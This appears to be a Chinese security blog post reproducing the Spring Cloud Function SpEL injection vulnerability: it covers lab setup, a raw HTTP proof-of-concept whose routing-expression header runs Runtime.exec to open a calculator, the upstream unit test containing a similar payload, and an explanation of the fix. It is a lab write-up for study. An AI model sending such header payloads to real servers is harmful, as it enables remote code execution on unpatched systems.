Spring-Cloud-Function-SpEl注入漏洞复现分析

Spring-Cloud-Function-SpEl注入漏洞复现分析

在Spring框架的JDK9版本(及以上版本)中,该漏洞是由于Spring Cloud Function中RoutingFunction类的 apply方法将请求头中spring.cloud.function.routing-expression传入的参数值作为SPEL表 达式进行处理,攻击者可以通过构造恶意的语句来实现SPEL表达式注入

影响版本

  • 3.0.0RELEASE<= Spring Cloud Function <=3.2.2

环境搭建

1
https://github.com/Pizz33/Spring-Cloud-Function-SpEL

使用idea新增spring intializr项目,并且选择与之相匹配的java版本

添加spring web和function

新建项目后右侧选择maven选择maven-package编译jar包

打包成功

运行打包好的jar包

1
java -jar demo-0.0.1-SNAPSHOT.jar

浏览器访问8080端口,环境搭建成功

漏洞复现

本地复现

poc

1
2
3
4
5
6
7
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

计算器执行成功

反弹shell

漏洞原理

git提交描述中,明确指出修复了RoutingFunction SpEL代码注入漏洞,并且可以看到目前只更新了两个文件,其中一个文件仅为单元测试.

测试用例代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
/*
* Copyright 2019-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.cloud.function.context.config;
import java.util.function.Function;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import reactor.core.publisher.Flux;
import reactor.test.StepVerifier;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.cloud.function.context.FunctionCatalog;
import org.springframework.cloud.function.context.FunctionProperties;
import org.springframework.context.ConfigurableApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.messaging.Message;
import org.springframework.messaging.support.MessageBuilder;

import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.Assert.fail;

/**
*
* @author Oleg Zhurakousky
*
*/
public class RoutingFunctionTests {
private ConfigurableApplicationContext context;
@AfterEach
public void before() {
System.clearProperty("spring.cloud.function.definition");
System.clearProperty("spring.cloud.function.routing-expression");
context.close();
}
private FunctionCatalog configureCatalog() {
context = new SpringApplicationBuilder(RoutingFunctionConfiguration.class).run(
"--logging.level.org.springframework.cloud.function=DEBUG",
"--spring.cloud.function.routing.enabled=true");
return context.getBean(FunctionCatalog.class);
}
@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void testInvocationWithMessageAndHeader() {
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".definition", "reverse").build();
assertThat(function.apply(message)).isEqualTo("olleh");
}
@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void testRoutingSimpleInputWithReactiveFunctionWithMessageHeader() {
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".definition", "echoFlux").build();
assertThat(((Flux) function.apply(message)).blockFirst()).isEqualTo("hello");
}
@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void testRoutingReactiveInputWithReactiveFunctionAndDefinitionMessageHeader() {
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".definition", "echoFlux").build();
Flux resultFlux = (Flux) function.apply(Flux.just(message));

StepVerifier
.create(resultFlux)
.expectError()
.verify();
StepVerifier.create(resultFlux).expectError().verify();
}

@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void testRoutingReactiveInputWithReactiveFunctionAndExpressionMessageHeader() {
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".routing-expression", "'echoFlux'").build();
Flux resultFlux = (Flux) function.apply(Flux.just(message));
StepVerifier
.create(resultFlux)
.expectError()
.verify();
StepVerifier.create(resultFlux).expectError().verify();
}

@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void failWithHeaderProvidedExpressionAccessingRuntime() {
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".routing-expression",
"T(java.lang.Runtime).getRuntime().exec(\"open -a calculator.app\")")
.build();
try {
function.apply(message);
fail();
}
catch (Exception e) {
assertThat(e.getMessage()).isEqualTo("EL1005E: Type cannot be found 'java.lang.Runtime'");
}

}

@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void testInvocationWithMessageAndDefinitionProperty() {
System.setProperty(FunctionProperties.PREFIX + ".definition", "reverse");
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello").build();
assertThat(function.apply(message)).isEqualTo("olleh");
}
@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void testInvocationWithMessageAndRoutingExpression() {
System.setProperty(FunctionProperties.PREFIX + ".routing-expression", "headers.function_name");
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello").setHeader("function_name", "reverse").build();
assertThat(function.apply(message)).isEqualTo("olleh");
}
@SuppressWarnings({ "unchecked", "rawtypes" })
@Test
public void testInvocationWithMessageAndRoutingExpressionCaseInsensitive() {
System.setProperty(FunctionProperties.PREFIX + ".routing-expression", "headers.function_Name");
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello").setHeader("function_name", "reverse").build();
assertThat(function.apply(message)).isEqualTo("olleh");
System.setProperty(FunctionProperties.PREFIX + ".routing-expression", "headers.FunCtion_namE");
assertThat(function.apply(message)).isEqualTo("olleh");
}
@SuppressWarnings({ "rawtypes", "unchecked" })
@Test
public void testInvocationWithRoutingBeanExpression() {
System.setProperty(FunctionProperties.PREFIX + ".routing-expression", "@reverse.apply(#root.getHeaders().get('func'))");
System.setProperty(FunctionProperties.PREFIX + ".routing-expression",
"@reverse.apply(#root.getHeaders().get('func'))");
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello").setHeader("func", "esacreppu").build();
assertThat(function.apply(message)).isEqualTo("HELLO");
}
@SuppressWarnings({ "rawtypes", "unchecked" })
@Test
public void testOtherExpectedFailures() {
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);
// no function.definition header or function property
try {
function.apply(MessageBuilder.withPayload("hello").build());
Assertions.fail();
}
catch (Exception e) {
//ignore
// ignore
}

// non existing function
try {
function.apply(MessageBuilder.withPayload("hello").setHeader(FunctionProperties.PREFIX + ".definition", "blah").build());
function.apply(MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".definition", "blah").build());
Assertions.fail();
}
catch (Exception e) {
//ignore
// ignore
}
}

@SuppressWarnings({ "rawtypes", "unchecked" })
@Test
public void testInvocationWithMessageComposed() {
FunctionCatalog functionCatalog = this.configureCatalog();
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME + "|reverse");
assertThat(function).isNotNull();
Message<String> message = MessageBuilder.withPayload("hello")
.setHeader(FunctionProperties.PREFIX + ".definition", "uppercase").build();
assertThat(function.apply(message)).isEqualTo("OLLEH");
}
@EnableAutoConfiguration
@Configuration
protected static class RoutingFunctionConfiguration {
@Bean
public Function<String, String> reverse() {
return v -> new StringBuilder(v).reverse().toString();
}
@Bean
public Function<String, String> uppercase() {
return String::toUpperCase;
}
@Bean
public Function<Flux<String>, Flux<String>> echoFlux() {
return f -> f;
}
}
}

位于 RoutingFunctionTests.java 的128行,可以清楚地看出Http头部构造方式,在给Spring Cloud Function的web服务发送包的时候,加一个相关的Header信息,然后跟入SpEL表达式即可执行命令。

在官方最新的修补文件中,可以看到新增了headerEvalContext对象,该对象所对应的是使用了仅支持最基本功能的SimpleEvaluationContext。且在调用functionFromExpression方法的时候新增了一个isViaHead布尔类型的参数,用来判断该值是否是取自消息的header中,如果是则使用headerEvalContext对象来解析SpEL表达式。

参考链接

Spring框架被爆RCE 0day高危漏洞!附修复教程! – 业余草 (xttblog.com)

(67条消息) Spring-Cloud-Function SpEL RCE(VULFOCUS靶场)_坚果雨的博客-CSDN博客

[~]#棱角 ::Edge.Forum* (ywhack.com)

[漏洞复现-Spring Cloud Function SpEL表达式注入 | Hyyrent blog (pizz33.github.io)](https://pizz33.github.io/2022/03/27/漏洞复现-Spring Cloud Function SpEL表达式注入/)

SpringCloud Function SpEL漏洞环境搭建+漏洞复现 - 安全客,安全资讯平台 (anquanke.com)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信